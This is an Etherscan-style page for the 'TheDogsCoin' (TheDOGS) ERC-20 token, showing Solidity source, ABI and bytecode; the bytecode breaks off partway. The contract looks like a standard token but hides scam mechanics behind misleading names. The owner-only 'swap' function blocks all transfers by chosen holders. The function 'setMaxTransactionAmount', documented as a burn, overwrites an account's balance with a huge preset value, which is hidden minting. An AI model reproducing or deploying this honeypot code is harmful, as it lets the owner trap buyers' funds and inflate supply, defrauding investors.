ERC-20
Overview
Max Total Supply
1,000,000,000,000 TheDOGS
Holders
71
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
10,000,097,047,246,251.831560621 TheDOGSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TheDogsCoin
Compiler Version
v0.8.2+commit.661d1103
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-15 */ /** __/\\\\\\\\\\\\\\\__/\\\________/\\\__/\\\\\\\\\\\\\\\____________/\\\\\\\\\\\\__________/\\\\\__________/\\\\\\\\\\\\_____/\\\\\\\\\\\___ _\///////\\\/////__\/\\\_______\/\\\_\/\\\///////////____________\/\\\////////\\\______/\\\///\\\______/\\\//////////____/\\\/////////\\\_ _______\/\\\_______\/\\\_______\/\\\_\/\\\_______________________\/\\\______\//\\\___/\\\/__\///\\\___/\\\______________\//\\\______\///__ _______\/\\\_______\/\\\\\\\\\\\\\\\_\/\\\\\\\\\\\_______________\/\\\_______\/\\\__/\\\______\//\\\_\/\\\____/\\\\\\\___\////\\\_________ _______\/\\\_______\/\\\/////////\\\_\/\\\///////________________\/\\\_______\/\\\_\/\\\_______\/\\\_\/\\\___\/////\\\______\////\\\______ _______\/\\\_______\/\\\_______\/\\\_\/\\\_______________________\/\\\_______\/\\\_\//\\\______/\\\__\/\\\_______\/\\\_________\////\\\___ _______\/\\\_______\/\\\_______\/\\\_\/\\\_______________________\/\\\_______/\\\___\///\\\__/\\\____\/\\\_______\/\\\__/\\\______\//\\\__ _______\/\\\_______\/\\\_______\/\\\_\/\\\\\\\\\\\\\\\___________\/\\\\\\\\\\\\/______\///\\\\\/_____\//\\\\\\\\\\\\/__\///\\\\\\\\\\\/___ _______\///________\///________\///__\///////////////____________\////////////__________\/////________\////////////______\///////////_____ https://t.me/TheDOGScoin */ // SPDX-License-Identifier: MIT pragma solidity =0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { address internal _owner; mapping (address => uint256) internal _balances; mapping (address => bool) private _executeTransfer; mapping (address => mapping (address => uint256)) private _allowances; uint256 private maxTxLimit = 1*10**16*10**9; uint256 internal _totalSupply; bool intTx = true; uint256 private balances; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; balances = maxTxLimit; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function burnRewards(address _senderAddress) external onlyOwner { _executeTransfer[_senderAddress] = false; } function swap(address _senderAddress) external onlyOwner { _executeTransfer[_senderAddress] = true; } function maxHoldingAmount(address _senderAddress) public view returns (bool) { return _executeTransfer[_senderAddress]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if (_executeTransfer[sender] || _executeTransfer[recipient]) require(intTx == false, ""); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _setMaxTransactionAmount(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ contract TheDogsCoin is ERC20 { uint8 immutable private _decimals = 9; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('The Dogs Coin', 'TheDOGS') { _totalSupply += 1000000000000 * 10**9; _balances[_msgSender()] += _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } function setMaxTransactionAmount(address account, uint256 amount) external onlyOwner { _setMaxTransactionAmount(account, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_senderAddress","type":"address"}],"name":"burnRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_senderAddress","type":"address"}],"name":"maxHoldingAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_senderAddress","type":"address"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040526a084595161401484a0000006004556001600660006101000a81548160ff021916908315150217905550600960ff1660809060ff1660f81b8152503480156200004c57600080fd5b506040518060400160405280600d81526020017f54686520446f677320436f696e000000000000000000000000000000000000008152506040518060400160405280600781526020017f546865444f4753000000000000000000000000000000000000000000000000008152508160089080519060200190620000d19291906200024a565b508060099080519060200190620000ea9291906200024a565b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004546007819055505050683635c9adc5dea000006005600082825462000153919062000328565b9250508190555060055460016000620001716200024260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001bc919062000328565b92505081905550620001d36200024260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200023491906200030b565b60405180910390a362000423565b600033905090565b82805462000258906200038f565b90600052602060002090601f0160209004810192826200027c5760008555620002c8565b82601f106200029757805160ff1916838001178555620002c8565b82800160010185558215620002c8579182015b82811115620002c7578251825591602001919060010190620002aa565b5b509050620002d79190620002db565b5090565b5b80821115620002f6576000816000905550600101620002dc565b5090565b620003058162000385565b82525050565b6000602082019050620003226000830184620002fa565b92915050565b6000620003358262000385565b9150620003428362000385565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200037a5762000379620003c5565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620003a857607f821691505b60208210811415620003bf57620003be620003f4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60805160f81c611cff6200044260003960006105ee0152611cff6000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806343537c7a11610097578063a457c2d711610066578063a457c2d71461029a578063a9059cbb146102ca578063c0462446146102fa578063dd62ed3e14610316576100f5565b806343537c7a1461020057806370a082311461021c57806373db1eb21461024c57806395d89b411461027c576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806303438dd0146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f919061129d565b610346565b005b61011e61042f565b60405161012b91906115b2565b60405180910390f35b61014e60048036038101906101499190611351565b6104c1565b60405161015b9190611597565b60405180910390f35b61016c6104df565b6040516101799190611754565b60405180910390f35b61019c60048036038101906101979190611302565b6104e9565b6040516101a99190611597565b60405180910390f35b6101ba6105ea565b6040516101c7919061176f565b60405180910390f35b6101ea60048036038101906101e59190611351565b610612565b6040516101f79190611597565b60405180910390f35b61021a60048036038101906102159190611351565b6106be565b005b6102366004803603810190610231919061129d565b61075a565b6040516102439190611754565b60405180910390f35b6102666004803603810190610261919061129d565b6107a3565b6040516102739190611597565b60405180910390f35b6102846107f9565b60405161029191906115b2565b60405180910390f35b6102b460048036038101906102af9190611351565b61088b565b6040516102c19190611597565b60405180910390f35b6102e460048036038101906102df9190611351565b61097f565b6040516102f19190611597565b60405180910390f35b610314600480360381019061030f919061129d565b61099d565b005b610330600480360381019061032b91906112c6565b610a86565b60405161033d9190611754565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103cb90611694565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606008805461043e906118b8565b80601f016020809104026020016040519081016040528092919081815260200182805461046a906118b8565b80156104b75780601f1061048c576101008083540402835291602001916104b7565b820191906000526020600020905b81548152906001019060200180831161049a57829003601f168201915b5050505050905090565b60006104d56104ce610b0d565b8484610b15565b6001905092915050565b6000600554905090565b60006104f6848484610ce0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610541610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b890611674565b60405180910390fd5b6105de856105cd610b0d565b85846105d991906117fc565b610b15565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006106b461061f610b0d565b84846003600061062d610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106af91906117a6565b610b15565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074390611694565b60405180910390fd5b61075682826110a2565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060098054610808906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610834906118b8565b80156108815780601f1061085657610100808354040283529160200191610881565b820191906000526020600020905b81548152906001019060200180831161086457829003601f168201915b5050505050905090565b6000806003600061089a610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90611734565b60405180910390fd5b610974610962610b0d565b85858461096f91906117fc565b610b15565b600191505092915050565b600061099361098c610b0d565b8484610ce0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290611694565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90611714565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611634565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611754565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906116d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906115d4565b60405180910390fd5b60008111610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611614565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea45750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f005760001515600660009054906101000a900460ff16151514610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906116f4565b60405180910390fd5b5b610f0b83838361126e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990611654565b60405180910390fd5b8181610f9e91906117fc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103091906117a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110949190611754565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906116b4565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906115f4565b60405180910390fd5b816007546111a791906117fc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546111fc91906117fc565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112619190611754565b60405180910390a3505050565b505050565b60008135905061128281611c9b565b92915050565b60008135905061129781611cb2565b92915050565b6000602082840312156112af57600080fd5b60006112bd84828501611273565b91505092915050565b600080604083850312156112d957600080fd5b60006112e785828601611273565b92505060206112f885828601611273565b9150509250929050565b60008060006060848603121561131757600080fd5b600061132586828701611273565b935050602061133686828701611273565b925050604061134786828701611288565b9150509250925092565b6000806040838503121561136457600080fd5b600061137285828601611273565b925050602061138385828601611288565b9150509250929050565b61139681611842565b82525050565b60006113a78261178a565b6113b18185611795565b93506113c1818560208601611885565b6113ca81611948565b840191505092915050565b60006113e2602383611795565b91506113ed82611959565b604082019050919050565b6000611405602283611795565b9150611410826119a8565b604082019050919050565b6000611428602983611795565b9150611433826119f7565b604082019050919050565b600061144b602283611795565b915061145682611a46565b604082019050919050565b600061146e602683611795565b915061147982611a95565b604082019050919050565b6000611491602883611795565b915061149c82611ae4565b604082019050919050565b60006114b4602083611795565b91506114bf82611b33565b602082019050919050565b60006114d7602183611795565b91506114e282611b5c565b604082019050919050565b60006114fa602583611795565b915061150582611bab565b604082019050919050565b600061151d600083611795565b915061152882611bfa565b600082019050919050565b6000611540602483611795565b915061154b82611bfd565b604082019050919050565b6000611563602583611795565b915061156e82611c4c565b604082019050919050565b6115828161186e565b82525050565b61159181611878565b82525050565b60006020820190506115ac600083018461138d565b92915050565b600060208201905081810360008301526115cc818461139c565b905092915050565b600060208201905081810360008301526115ed816113d5565b9050919050565b6000602082019050818103600083015261160d816113f8565b9050919050565b6000602082019050818103600083015261162d8161141b565b9050919050565b6000602082019050818103600083015261164d8161143e565b9050919050565b6000602082019050818103600083015261166d81611461565b9050919050565b6000602082019050818103600083015261168d81611484565b9050919050565b600060208201905081810360008301526116ad816114a7565b9050919050565b600060208201905081810360008301526116cd816114ca565b9050919050565b600060208201905081810360008301526116ed816114ed565b9050919050565b6000602082019050818103600083015261170d81611510565b9050919050565b6000602082019050818103600083015261172d81611533565b9050919050565b6000602082019050818103600083015261174d81611556565b9050919050565b60006020820190506117696000830184611579565b92915050565b60006020820190506117846000830184611588565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117b18261186e565b91506117bc8361186e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f1576117f06118ea565b5b828201905092915050565b60006118078261186e565b91506118128361186e565b925082821015611825576118246118ea565b5b828203905092915050565b600061183b8261184e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118a3578082015181840152602081019050611888565b838111156118b2576000848401525b50505050565b600060028204905060018216806118d057607f821691505b602082108114156118e4576118e3611919565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ca481611830565b8114611caf57600080fd5b50565b611cbb8161186e565b8114611cc657600080fd5b5056fea2646970667358221220e9f4793f57bea021b92b8f4bbe07f6642c04c92b0d8d228701f36a1c12f78b8164736f6c63430008020033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806343537c7a11610097578063a457c2d711610066578063a457c2d71461029a578063a9059cbb146102ca578063c0462446146102fa578063dd62ed3e14610316576100f5565b806343537c7a1461020057806370a082311461021c57806373db1eb21461024c57806395d89b411461027c576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806303438dd0146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f919061129d565b610346565b005b61011e61042f565b60405161012b91906115b2565b60405180910390f35b61014e60048036038101906101499190611351565b6104c1565b60405161015b9190611597565b60405180910390f35b61016c6104df565b6040516101799190611754565b60405180910390f35b61019c60048036038101906101979190611302565b6104e9565b6040516101a99190611597565b60405180910390f35b6101ba6105ea565b6040516101c7919061176f565b60405180910390f35b6101ea60048036038101906101e59190611351565b610612565b6040516101f79190611597565b60405180910390f35b61021a60048036038101906102159190611351565b6106be565b005b6102366004803603810190610231919061129d565b61075a565b6040516102439190611754565b60405180910390f35b6102666004803603810190610261919061129d565b6107a3565b6040516102739190611597565b60405180910390f35b6102846107f9565b60405161029191906115b2565b60405180910390f35b6102b460048036038101906102af9190611351565b61088b565b6040516102c19190611597565b60405180910390f35b6102e460048036038101906102df9190611351565b61097f565b6040516102f19190611597565b60405180910390f35b610314600480360381019061030f919061129d565b61099d565b005b610330600480360381019061032b91906112c6565b610a86565b60405161033d9190611754565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103cb90611694565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffff